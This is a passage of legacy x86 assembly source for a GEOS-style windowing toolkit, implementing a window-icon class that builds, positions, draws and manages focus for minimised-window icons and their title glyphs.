ds:[di].OLWI_type, OLWT_WINDOW_ICON > CUAS < mov ds:[di].OLWI_type, MOWT_WINDOW_ICON > ; ;turn off the SA_CUSTOM_VIS_PARENT flag, so that we will not use ; ;the OLCI_visParent field of this window during SPEC_BUILD. We go through ; ;the trouble of making a one-way upward link to the GenApp object; ; ;it should be used when finding a visible parent for this icon. ; ; ANDNF ds:[di].VI_specAttrs, not (mask SA_CUSTOM_VIS_PARENT) ;SEE OpenWinGetVisParent... cannot assume that OLCI_visParent is cool! ;try running installed code... ;NOTE: OLWI_winPosSizeFlags and OLWI_winPosSizeState is set ;by MSG_OL_WIN_ICON_SET_STATE, so no need to set here. ;set this OLWinIcon object as discardable, so when system shuts down ;it is thrown out. GenPrimary will rebuild it later. mov ax, si ;*ds:ax = chunk of OLWinIcon object mov bx, mask OCF_IGNORE_DIRTY ;bl = bits to set call ObjSetFlags ;set LMem flags for Object chunk ret OLWinIconInitialize endp WinIcon_DerefVisSpec_DI proc near mov di, ds:[si] add di, ds:[di].Vis_offset ret WinIcon_DerefVisSpec_DI endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconSpecBuild -- MSG_SPEC_BUILD for OLWinIconClass DESCRIPTION: Handles spec build of the icon. Called when the icon comes up for the first time, but not when it gets restored and iconified a second time. We'll take this moment to load in stuff stored in the active list. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_BUILD RETURN: DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 7/ 3/90 Initial version ------------------------------------------------------------------------------@ OLWinIconSpecBuild method dynamic OLWinIconClass, MSG_SPEC_BUILD ;This object is NOT stored on the window list ;Since this object will not get MSG_META_UPDATE_WINDOW, we need to ;check now for data that may have been saved. push ax, bp sub sp, size GetVarDataParams + size GenSaveWindowInfo mov bp, sp mov ss:[bp].GVDP_buffer.segment, ss lea ax, ss:[bp]+(size GetVarDataParams) push ax ; save GenSaveWindowInfo offset mov ss:[bp].GVDP_buffer.offset, ax mov ss:[bp].GVDP_bufferSize, size GenSaveWindowInfo mov ss:[bp].GVDP_dataType, TEMP_GEN_SAVE_ICON_INFO mov dx, size GetVarDataParams mov ax, MSG_META_GET_VAR_DATA mov di, mask MF_CALL or mask MF_FIXUP_DS or mask MF_STACK call OLWinIconObjMessagePrimaryObject pop bx ; restore offset cmp ax, -1 je notFound call WinIcon_DerefVisSpec_DI ; ds:di = OLWinIcon Vis instance mov ax, ss:[bx].GSWI_winPosSizeState mov ds:[di].OLWI_winPosSizeState, ax mov ax, ss:[bx].GSWI_winPosition.SWSP_x mov {word} ds:[di].VI_bounds+0, ax mov ax, ss:[bx].GSWI_winPosition.SWSP_y mov {word} ds:[di].VI_bounds+2, ax mov ax, ss:[bx].GSWI_winSize.SWSP_x mov {word} ds:[di].VI_bounds+4, ax mov ax, ss:[bx].GSWI_winSize.SWSP_y mov {word} ds:[di].VI_bounds+6, ax mov ax, MSG_META_DELETE_VAR_DATA mov cx, TEMP_GEN_SAVE_ICON_INFO call OLWinIconCallPrimaryObject notFound: add sp, size GetVarDataParams + size GenSaveWindowInfo ;now finish up by calling superclass pop ax, bp call WinIcon_ObjCallSuperNoLock_OLWinIconClass ret OLWinIconSpecBuild endm WinIcon_ObjCallSuperNoLock_OLWinIconClass proc near mov di, offset OLWinIconClass call ObjCallSuperNoLock ret WinIcon_ObjCallSuperNoLock_OLWinIconClass endp COMMENT @---------------------------------------------------------------------- FUNCTION: OLWinIconSetUsable - MSG_OL_WIN_ICON_SET_USABLE DESCRIPTION: This procedure makes the icon visible and usable. CALLED BY: OLMenuedWinGenSetMinimized PASS: ds:*si - instance data RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 11/89 initial version ------------------------------------------------------------------------------@ OLWinIconSetUsable method dynamic OLWinIconClass, MSG_OL_WIN_ICON_SET_USABLE ;if this Icon is appearing for a second time, then will not ;get another SPEC_BUILD, so we must force an UpdateWinPosSize here ;to set things up for geometry work. test ds:[di].VI_specAttrs, mask SA_TREE_BUILT_BUT_NOT_REALIZED jz 10$ ;skip if not... ;have one-way visible link to parent. call ConvertSpecWinSizePairsToPixels call UpdateWinPosSize ;update window position and size if ;have enough info. If not, then wait ;until MSG_VIS_MOVE_RESIZE_WIN to ;do this. 10$: ;set this object REALIZABLE and update. ; NOTE-- MUST be delayed via queue to match standard approach for ; Primary's, Interactions, etc. necessitated by MSG_META_ATTACH ; processing, or the Icon ends up being visibly opened before the ; application object, a bad thing now that windows sit visibly on ; the application object. -- Doug 12/3/91 ; ; Changed back to VUM_NOW to match new Primary, Interaction, etc. ; approach. -- Doug 4/8/92 ; mov cx, mask SA_REALIZABLE ;set this flag TRUE mov dl, VUM_NOW mov ax, MSG_SPEC_SET_ATTRS call ObjCallInstanceNoLock ; Give ourselves the focus within the application, having just ; become the most recent window to come up on screen. ; mov ax, MSG_META_GRAB_FOCUS_EXCL call ObjCallInstanceNoLock ret OLWinIconSetUsable endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconSetState -- MSG_OL_WIN_ICON_SETUP for OLWinIconClass DESCRIPTION: This method is sent to initialize some instance data in this object, including its position and Icon Slot # if necessary. This is called when the icon is created, to pass info about its GenPrimary (such as moniker handles) and other info from previous shutdowns (such as position and icon slot #). PASS: *ds:si - instance data es - segment of OLWinIconClass ax - MSG_OL_WIN_ICON_SETUP ss:bp - pointer to bottom of data passed on stack dx - size of data passed on stack on stack: (in order pushed) word - WinPosSizeFlags <> (positioning requests) word - WinPosSizeState <> (which icon slot #) 2 words - VI_bounds.R_left, R_top (position) word - handle of OLWinClass object associated w/icon OD - OD of GenApplication NOTE: the lptrs passed on the stack point to chunks within this ObjectBlock. RETURN: carry - ? ax, cx, dx, bp - ? DESTROYED: di PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 11/89 Initial version Eric 10/90 Added generic upward link code. ------------------------------------------------------------------------------@ OLWinIconSetState method dynamic OLWinIconClass, MSG_OL_WIN_ICON_SET_STATE EC < cmp dx, size IconPassData > EC < ERROR_NZ OL_ERROR > ;save OD of GenPrimary which is opened by this icon ;and initialize the OLWinClass attribute record for this object mov ax, ss:[bp].IPD_window.handle mov ds:[di].OLWII_window.handle, ax mov ax, ss:[bp].IPD_window.chunk mov ds:[di].OLWII_window.chunk, ax mov ax, ss:[bp].IPD_winPosSizeState mov ds:[di].OLWI_winPosSizeState, ax mov ax, ss:[bp].IPD_winPosSizeFlags mov ds:[di].OLWI_winPosSizeFlags, ax mov di, ds:[si] add di, ds:[di].Vis_offset mov ax, ss:[bp].IPD_left mov ds:[di].VI_bounds.R_left, ax mov ax, ss:[bp].IPD_top mov ds:[di].VI_bounds.R_top, ax ret OLWinIconSetState endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconUpdateMoniker DESCRIPTION: Update our moniker and our title glyph's moniker. PASS: *ds:si - instance data es - segment of OLWinIconClass ax - MSG_OL_WIN_ICON_UPDATE_MONIKER ss:bp - IconMonikerPassData RETURN: nothing DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 4/3/92 Initial version ------------------------------------------------------------------------------@ OLWinIconUpdateMoniker method dynamic OLWinIconClass, \ MSG_OL_WIN_ICON_UPDATE_MONIKER push ds:[di].OLWII_iconMoniker push ds:[di].OLWII_iconCaptionMoniker ; ; copy icon moniker ; mov bx, bp ; ss:bx = IconMonikerPassData sub sp, size CreateVisMonikerFrame mov bp, sp mov ax, ss:[bx].IMPD_iconMoniker.handle mov ss:[bp].CVMF_source.handle, ax mov ax, ss:[bx].IMPD_iconMoniker.chunk mov ss:[bp].CVMF_source.chunk, ax mov ss:[bp].CVMF_sourceType, VMST_OPTR mov ss:[bp].CVMF_dataType, VMDT_VIS_MONIKER mov ss:[bp].CVMF_flags, 0 ; not dirty mov dx, size CreateVisMonikerFrame mov ax, MSG_VIS_CREATE_VIS_MONIKER call ObjCallInstanceNoLock ; ax = new moniker call WinIcon_DerefVisSpec_DI mov ds:[di].OLWII_iconMoniker, ax ; ; copy icon caption moniker ; ss:bx = IconMonikerPassData ; mov bp, sp ; ss:bp = stack frame mov ax, ss:[bx].IMPD_iconCaptionMoniker.handle mov ss:[bp].CVMF_source.handle, ax mov ax, ss:[bx].IMPD_iconCaptionMoniker.chunk mov ss:[bp].CVMF_source.chunk, ax mov dx, size CreateVisMonikerFrame mov ax, MSG_VIS_CREATE_VIS_MONIKER call ObjCallInstanceNoLock ; ax = new moniker call WinIcon_DerefVisSpec_DI mov ds:[di].OLWII_iconCaptionMoniker, ax add sp, size CreateVisMonikerFrame ; ; tell glyph, if already created, about new icon caption moniker ; mov dx, ax ; *ds:dx = new caption moniker mov bp, si ; *ds:bp = this object (icon) mov ax, MSG_OL_WIN_GLYPH_DISP_SET_MONIKER push si ; save OLWinIcon mov si, ds:[di].OLWII_titleGlyphWin ; *ds:si = icon caption tst si jz noGlyph call ObjCallInstanceNoLock noGlyph: pop si ; restore OLWinIcon ; ; then invalidate, to get stuff to update ; mov cl, mask VOF_GEOMETRY_INVALID or mask VOF_IMAGE_INVALID mov dl, VUM_NOW call VisMarkInvalid ; ; finally, free old monikers ; pop ax ; handle icon caption moniker tst ax jz 10$ call ObjFreeChunk 10$: pop ax ; handle icon moniker tst ax jz done call ObjFreeChunk done: ret OLWinIconUpdateMoniker endm COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconEnsureTitleGlyphDisplay DESCRIPTION: PASS: *ds:si - instance data RETURN: carry - ? dx - glyph display DESTROYED: ? REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Initial version ------------------------------------------------------------------------------@ OLWinIconEnsureTitleGlyphDisplay proc far class OLWinIconClass ;see if we have an OLWinGlyphDisplay object yet call WinIcon_DerefVisSpec_DI mov dx, ds:[di].OLWII_titleGlyphWin ; get chunk of glyph we have tst dx ;See if already built jnz done ;skip if so... ;create an OLWinGlyphDisplay object to hold the title below the ;icon. (We don't have the monikers yet - the GenPrimary has ;yet to send SETUP to us.) push si ;save WinIcon handle push ds:[di].OLWII_iconCaptionMoniker ;save chunk handle of moniker mov bx, ds:[LMBH_handle] ;put OLWinGlyph in same block mov di, offset OLWinGlyphDisplayClass call GenInstantiateIgnoreDirty ;returns si = handle of object ;send MSG_OL_WIN_GLYPH_DISP_SET_MONIKER so WinGlyph object ;has chunk handle of our GenPrimary's generic moniker pop dx ;dx = chunk of moniker pop bp ;bp = win icon push bp mov ax, MSG_OL_WIN_GLYPH_DISP_SET_MONIKER call ObjCallInstanceNoLock mov dx, si ;dx = chunk handle of OLWinGlyph pop si ;get WinIcon handle call WinIcon_DerefVisSpec_DI mov ds:[di].OLWII_titleGlyphWin, dx ;store handle of OLWinGlyph push si call VisFindParent ;returns ^lbx:si = parent of OLWinIcon EC < tst bx > EC < ERROR_Z OL_SPEC_BUILD_NO_PARENT > mov cx, ds:[LMBH_handle] ;set ^lcx:dx = OLWinGlyph object mov bp, CCO_LAST ; add at the end mov ax, MSG_VIS_ADD_CHILD mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si done: ret OLWinIconEnsureTitleGlyphDisplay endp WinIconCode ends ;--------------------------------------- LessUsedGeometry segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconRerecalcSize -- MSG_VIS_RECALC_SIZE for OLWinIconClass DESCRIPTION: Returns the size of the button. PASS: *ds:si - instance data es - segment of OLWinIconClass di - MSG_VIS_GET_SIZE cx - width info for choosing size dx - height info RETURN: cx - width to use dx - height to use DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/15/89 Initial version ------------------------------------------------------------------------------@ OLWinIconRerecalcSize method dynamic OLWinIconClass, MSG_VIS_RECALC_SIZE mov di, ds:[di].OLWII_iconMoniker ;*ds:di = VisMoniker segmov es, ds ;*es:di = VisMoniker clr bp ;pass no GState - will create one using ;VUP query if necessary (text icon?) call SpecGetMonikerSize ;returns cx, dx = size of moniker ret OLWinIconRerecalcSize endp LessUsedGeometry ends ;--------------------------------------- WinIconCode segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: OLWinIconOpenWin DESCRIPTION: Perform MSG_VIS_OPEN_WIN given an OLWinPart CALLED BY: VisOpen PASS: *ds:si - instance data RETURN: cl - DrawFlags: DF_EXPOSED set if updating ch - ? dx - ? bp - GState to use DESTROYED: ax, bx, dx, di, bp, si REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Lifted from OLWinClass ------------------------------------------------------------------------------@ OLWinIconOpenWin method dynamic OLWinIconClass, MSG_VIS_OPEN_WIN push si ; cause icon to open on top of other applicatin windows (such as other ; primarys) ornf ds:[di].OLWI_fixedAttr, mask OWFA_OPEN_ON_TOP ;call superclass to for this object call WinIcon_ObjCallSuperNoLock_OLWinIconClass ; must reset this after we've used it call WinIcon_DerefVisSpec_DI andnf ds:[di].OLWI_fixedAttr, not mask OWFA_OPEN_ON_TOP ;make sure we have a title display object (will set moniker, ;which sets geometry and image invalid) call OLWinIconEnsureTitleGlyphDisplay ; dx = glyph display ;now tell our OLWinGlyphDisplay object where we are on the screen - ;it will position itself relative to the middle of our bottom bound. push dx call OLWinIconUpdateTitleGlyphWin pop dx ;and make it visible mov si, dx mov ax, MSG_VIS_SET_ATTRS mov cx, mask VA_VISIBLE ;SET this bit ;(sets WINDOW_INVALID) mov dl, VUM_NOW call ObjCallInstanceNoLock ; At this point, we should have a slot all set up for us. Let's ; send the slot number back to our window. ; pop si call OLWinIconSendSlot ;AFTER doing all that, make sure we are completely on-screen by ;faking a window move mov ax, MSG_VIS_MOVE_RESIZE_WIN call ObjCallInstanceNoLock ; ; add win icon and title glyph to always-interactible list ; mov ax, MSG_META_GCN_LIST_ADD FALL_THRU AddOrRemoveWinIconAndTitleGlyphToGCNList OLWinIconOpenWin endp ; ; pass: ; *ds:si = OLWinIcon ; ax = MSG_META_GCN_LIST_ADD or MSG_META_GCN_LIST_REMOVE ; return: ; nothing ; destroyed: ; bx, cx, dx, bp, di ; AddOrRemoveWinIconAndTitleGlyphToGCNList proc far gcnParams local GCNListParams .enter ; ; add/remove win icon ; mov di, GAGCNLT_ALWAYS_INTERACTABLE_WINDOWS call AddOrRemoveToGCNListCommon mov di, GAGCNLT_CONTROLLERS_WITHIN_USER_DO_DIALOGS call AddOrRemoveToGCNListCommon ; ; add/remove title glyph ; push si mov di, ds:[si] add di, ds:[di].Vis_offset mov si, ds:[di].OLWII_titleGlyphWin tst si jz done mov di, GAGCNLT_ALWAYS_INTERACTABLE_WINDOWS call AddOrRemoveToGCNListCommon done: pop si .leave ret AddOrRemoveWinIconAndTitleGlyphToGCNList endp ; ; pass: ; *ds:si = object to add/remove ; ax = MSG_META_GCN_LIST_ADD or MSG_META_GCN_LIST_REMOVE ; DI = GCNList to add to ; return: ; nothing ; destroyed: ; bx, cx, dx, di ; AddOrRemoveToGCNListCommon proc near uses ax, si gcnParams local GCNListParams .enter inherit mov gcnParams.GCNLP_ID.GCNLT_manuf, MANUFACTURER_ID_GEOWORKS ; don't save to state mov gcnParams.GCNLP_ID.GCNLT_type, di mov bx, ds:[LMBH_handle] mov gcnParams.GCNLP_optr.handle, bx mov gcnParams.GCNLP_optr.chunk, si clr bx call GeodeGetAppObject tst bx jz noAppObj push bp lea bp, gcnParams mov dx, size gcnParams mov di, mask MF_CALL or mask MF_STACK or mask MF_FIXUP_DS call ObjMessage pop bp noAppObj: .leave ret AddOrRemoveToGCNListCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLWinIconCheckIfInteractableObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks to see if the current object is interactable while a UserDoDialog is up CALLED BY: GLOBAL PASS: cx:dx - object that a message is destined for RETURN: carry set if interactable DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/17/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLWinIconCheckIfInteractableObject method dynamic OLWinIconClass, MSG_META_CHECK_IF_INTERACTABLE_OBJECT .enter cmp cx, ds:[LMBH_handle] jne noMatch cmp dx, si je matchExit cmp dx, ds:[di].OLWII_titleGlyphWin jne noMatch matchExit: stc exit: .leave ret noMatch: clc jmp exit OLWinIconCheckIfInteractableObject endp COMMENT @---------------------------------------------------------------------- FUNCTION: OLWinIconCloseWin DESCRIPTION: We intercept this here so that we can visibly remove our title glyph window from the field. CALLED BY: VisClose PASS: *ds:si - instance data RETURN: cl - DrawFlags: DF_EXPOSED set if updating ch - ? dx - ? bp - GState to use DESTROYED: ax, bx, dx, di, bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 1/90 initial version ------------------------------------------------------------------------------@ OLWinIconCloseWin method dynamic OLWinIconClass, MSG_VIS_CLOSE_WIN ; ; remove from always-interactible list ; push ax, cx, dx, bp mov ax, MSG_META_GCN_LIST_REMOVE call AddOrRemoveWinIconAndTitleGlyphToGCNList pop ax, cx, dx, bp ;call superclass to for this object call WinIcon_ObjCallSuperNoLock_OLWinIconClass call WinIcon_DerefVisSpec_DI mov si, ds:[di].OLWII_titleGlyphWin tst si jz done ; Clear flag to indicate we ; don't have one anymore clr ds:[di].OLWII_titleGlyphWin ; Visibly close & destroy the title glyph (Doug's handiwork :) mov dl, VUM_NOW ; Update window now mov ax, MSG_VIS_DESTROY ; Unrealize, remove & destroy call ObjCallInstanceNoLock done: ret OLWinIconCloseWin endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconMoveResizeWin -- MSG_VIS_MOVE_RESIZE_WIN for OLWinIconClass DESCRIPTION: This icon is being moved - update the position of our OLWinGlyphDisplay object. PASS: *ds:si - instance data es - segment of OLWinIconClass ax - MSG_WIN_MOVE_RESIZE RETURN: nothing DESTROYED: ax, cx, dx, bp, si, di REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Initial version ------------------------------------------------------------------------------@ OLWinIconMoveResizeWin method dynamic OLWinIconClass, MSG_VIS_MOVE_RESIZE_WIN ;FIRST snap the icon to the nearest grid position (this could ;be optional, but we must at least make sure the icon is on the screen) push ax ; call OLWinIconSnapToGrid ;instead, just keep it onscreen - brianc 3/3/92 call OLWinIconKeepOnScreen pop ax ;call superclass to move this object call WinIcon_ObjCallSuperNoLock_OLWinIconClass ;now tell our OLWinGlyphDisplay object where we are on the screen - ;it will position itself relative to the middle of our bottom bound. call OLWinIconUpdateTitleGlyphWin ret OLWinIconMoveResizeWin endp COMMENT @---------------------------------------------------------------------- ROUTINE: OLWinIconSendSlot SYNOPSIS: Sends the slot to our corresponding window. CALLED BY: OLWinIconMoveResizeWin, OLWinIconSetUsable PASS: *ds:si -- handle RETURN: nothing DESTROYED: ax, cx, dx, bp, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 6/29/90 Initial version ------------------------------------------------------------------------------@ OLWinIconSendSlot proc far class OLWinIconClass call WinIcon_DerefVisSpec_DI mov cx, ds:[di].VI_bounds.R_left mov dx, ds:[di].VI_bounds.R_top mov al, {byte} ds:[di].OLWI_winPosSizeState+1 clr ah and al, mask WPSS_STAGGERED_SLOT shr 8 mov bp, ax mov ax, MSG_OL_MW_SET_ICON_POS call OLWinIconCallPrimaryObject ret OLWinIconSendSlot endp ;pass *ds:si = instance data for this icon OLWinIconCallPrimaryObject proc near mov di, mask MF_CALL or mask MF_FIXUP_DS FALL_THRU OLWinIconObjMessagePrimaryObject OLWinIconCallPrimaryObject endp ;pass: di = MessageFlags OLWinIconObjMessagePrimaryObject proc near push si push di ; save MessageFlags call WinIcon_DerefVisSpec_DI mov bx, ds:[di].OLWII_window.handle mov si, ds:[di].OLWII_window.chunk pop di ; retreive MessageFlags EC < tst si > EC < ERROR_Z OL_ERROR > call ObjMessage pop si ret OLWinIconObjMessagePrimaryObject endp COMMENT @---------------------------------------------------------------------- FUNCTION: OLWinIconSnapToGrid DESCRIPTION: This procedure moves a window icon to the nearest icon plot. (See cwinConstant.def for a discussion of Icon Plots) CALLED BY: OLWinIconMoveResizeWin PASS: ds:*si - instance data RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 initial version ------------------------------------------------------------------------------@ if 0 ;just keep on-screen for 2.0 - brianc 3/3/92 OLWinIconSnapToGrid proc near class OLWinIconClass ; Let's remove the old slot number. call WinIcon_DerefVisSpec_DI mov dl, {byte} ds:[di].OLWI_winPosSizeState+1 ANDNF dl, mask WPSS_STAGGERED_SLOT shr 8 test dl, mask SSPR_SLOT ;test slot # (ignore ICON flag) jz 10$ ;skip if not STAGGERED... mov cx, SVQT_FREE_STAGGER_SLOT call WinIcon_VisCallParent_VUP_QUERY mov ax, MSG_VIS_VUP_QUERY call VisCallParent 10$: ;Find the nearest available slot. call WinIcon_DerefVisSpec_DI mov dx, ds:[di].VI_bounds.R_left ;get position mov bp, ds:[di].VI_bounds.R_top mov cx, SVQT_REQUEST_NEAREST_ICON_SLOT mov ax, MSG_VIS_VUP_QUERY call VisCallParent ;returns cx, dx = size jnc exit ;If no response, don't care... call VisSetPosition ;Adjust coords accordingly ;Store new slot number locally as well. call WinIcon_DerefVisSpec_DI mov dl, {byte} ds:[di].OLWI_winPosSizeState+1 and dl, not (mask WPSS_STAGGERED_SLOT shr 8) or dx, bp ;put slot in cl mov {byte} ds:[di].OLWI_winPosSizeState+1, dl exit: ;Send our window the new slot number and position. call OLWinIconSendSlot ret OLWinIconSnapToGrid endp endif COMMENT @---------------------------------------------------------------------- FUNCTION: OLWinIconKeepOnScreen DESCRIPTION: This procedure keeps a window icon on the screen. CALLED BY: OLWinIconMoveResizeWin PASS: ds:*si - instance data RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 3/30/92 initial version ------------------------------------------------------------------------------@ OLWinIconKeepOnScreen proc near class OLWinIconClass mov ax, MSG_VIS_GET_BOUNDS call VisCallParent ; ax, bp, cx, dx = (l, t, r, b) push cx, dx call WinIcon_DerefVisSpec_DI mov cx, ds:[di].VI_bounds.R_left cmp cx, ax jge leftOkay mov cx, ax ; else, update left leftOkay: mov dx, ds:[di].VI_bounds.R_top cmp dx, bp jge topOkay mov dx, bp ; else, update top topOkay: pop ax, bp ; ax, bp = parent (r, b) mov bx, ds:[di].VI_bounds.R_right cmp bx, ax jle rightOkay sub bx, ds:[di].VI_bounds.R_left ; bx = width sub ax, bx ; inset from parent right mov cx, ax ; use as new icon left rightOkay: push si, di, cx, dx call WinIcon_DerefVisSpec_DI mov si, ds:[di].OLWII_titleGlyphWin EC < tst si > EC < ERROR_Z OL_ERROR > call VisGetSize ; dx = glyph height EC < tst dx > EC < ERROR_Z OL_ERROR > mov ax, dx ; ax = glyph height add ax, WIN_ICON_GLYPH_Y_SPACING ; ax = total glyph height pop si, di, cx, dx mov bx, ds:[di].VI_bounds.R_bottom add bx, ax ; bx = total bottom cmp bx, bp jle bottomOkay sub bx, ds:[di].VI_bounds.R_top sub bp, bx ; inset from parent bottom mov dx, bp ; use as new icon top bottomOkay: call VisSetPosition exit: ;Send our window the new slot number and position. call OLWinIconSendSlot ret OLWinIconKeepOnScreen endp COMMENT @---------------------------------------------------------------------- FUNCTION: OLWinIconUpdateTitleGlyphWin DESCRIPTION: This procedure updates the OLWinGlyphDisplay object which holds the title for this icon. This involves moving the OLWinGlyph object. CALLED BY: OLWinIconMoveResizeWin OLWinIconOpenWindow PASS: ds:*si - instance data RETURN: ax, cx, dx, bp = same DESTROYED: ax, cx, dx, bp, si PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 initial version ------------------------------------------------------------------------------@ OLWinIconUpdateTitleGlyphWin proc far class OLWinIconClass ;now tell our OLWinGlyphDisplay object where we are on the screen - ;it will position itself relative to the middle of our bottom bound. EC < call VisCheckVisAssumption ; Make sure vis data exists > call WinIcon_DerefVisSpec_DI mov cx, ds:[di].VI_bounds.R_left ;average left and right add cx, ds:[di].VI_bounds.R_right shr cx, 1 mov dx, ds:[di].VI_bounds.R_bottom ;get bottom bound ;send on to our OLWinGlyphDisplay object so it moves with us mov si, ds:[di].OLWII_titleGlyphWin mov ax, MSG_OL_WIN_GLYPH_DISP_MOVE call ObjCallInstanceNoLock ret OLWinIconUpdateTitleGlyphWin endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconDraw -- MSG_VIS_DRAW for OLWinIconClass PASS: *ds:si - instance data bp - handle of graphics state RETURN: cl - DrawFlags: DF_EXPOSED set if updating ch - ? dx - ? bp - GState to use DESTROYED: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 9/89 Initial Version ------------------------------------------------------------------------------@ OL_WIN_ICON_MAX_WIDTH = 1023 OLWinIconDraw method dynamic OLWinIconClass, MSG_VIS_DRAW push es push cx ;save draw flags ;get display scheme data (bp = gstate) mov di, bp ;di = GState mov ax, GIT_PRIVATE_DATA call GrGetInfo ;ax = <display scheme><display type> ;Draw flat background & thin black line border, and shadow/resize border ;if necessary. ;(al = color scheme, ah = display type, cl = DrawFlags, ;ds:*si = instance, ds:bp = SpecificInstance, di = GState) ; mov al, C_WHITE ; ; and ah, mask DF_DISPLAY_TYPE ; cmp ah, DC_GRAY_1 ; jnz OWID_color ; ; mov al, C_BLACK ;OWID_color: ;draw icon (bp = GState) mov di, bp ;pass di = gstate mov ax, C_BLACK call GrSetAreaColor segmov es, ds ;pass *es:bx = VisMoniker call WinIcon_DerefVisSpec_DI mov bx, ds:[di].OLWII_iconMoniker push bp ;save GState mov di, bp mov cl, mask DMF_NONE ;draw at pen position, no justification sub sp, size DrawMonikerArgs mov bp, sp ;ss:bp <- DrawMonikerArgs mov ss:[bp].DMA_gState, di mov ss:[bp].DMA_xMaximum, OL_WIN_ICON_MAX_WIDTH mov ss:[bp].DMA_yMaximum, MAX_COORD mov dx, 1 mov ss:[bp].DMA_xInset, dx mov ss:[bp].DMA_yInset, dx call SpecDrawMoniker ;draw moniker onto our window add sp, size DrawMonikerArgs ;clean up stack pop bp ;get GState mov di, bp ;pass di = gstate mov ax, C_BLACK ;set back to black call GrSetAreaColor pop cx ;recover DrawFlags pop es ret OLWinIconDraw endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconGainedSystemFocusExcl DESCRIPTION: We've just gained the window focus exclusive. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_META_GAINED_SYS_FOCUS_EXCL cx - ? dx - ? bp - ? RETURN: carry - ? ax - ? cx - ? dx - ? bp - ? DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Initial version ------------------------------------------------------------------------------@ OLWinIconGainedSystemFocusExcl method dynamic OLWinIconClass, MSG_META_GAINED_SYS_FOCUS_EXCL call WinIcon_ObjCallSuperNoLock_OLWinIconClass ;Bring this object to the front... mov ax, MSG_GEN_BRING_TO_TOP call ObjCallInstanceNoLock push si call WinIcon_DerefVisSpec_DI mov si, ds:[di].OLWII_titleGlyphWin tst si jz done mov ax, MSG_OL_WIN_GLYPH_BRING_TO_TOP call ObjCallInstanceNoLock ; ; invalidate the glyph so that it redraws with focus indication ; mov cl, mask VOF_IMAGE_INVALID mov dl, VUM_NOW call VisMarkInvalid done: pop si ret OLWinIconGainedSystemFocusExcl endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconLostSystemFocusExcl DESCRIPTION: We've just lost the window focus exclusive. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_META_LOST_SYS_FOCUS_EXCL cx - ? dx - ? bp - ? RETURN: carry - ? ax - ? cx - ? dx - ? bp - ? DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 2/12/92 Initial version ------------------------------------------------------------------------------@ OLWinIconLostSystemFocusExcl method dynamic OLWinIconClass, MSG_META_LOST_SYS_FOCUS_EXCL push ax, si mov si, 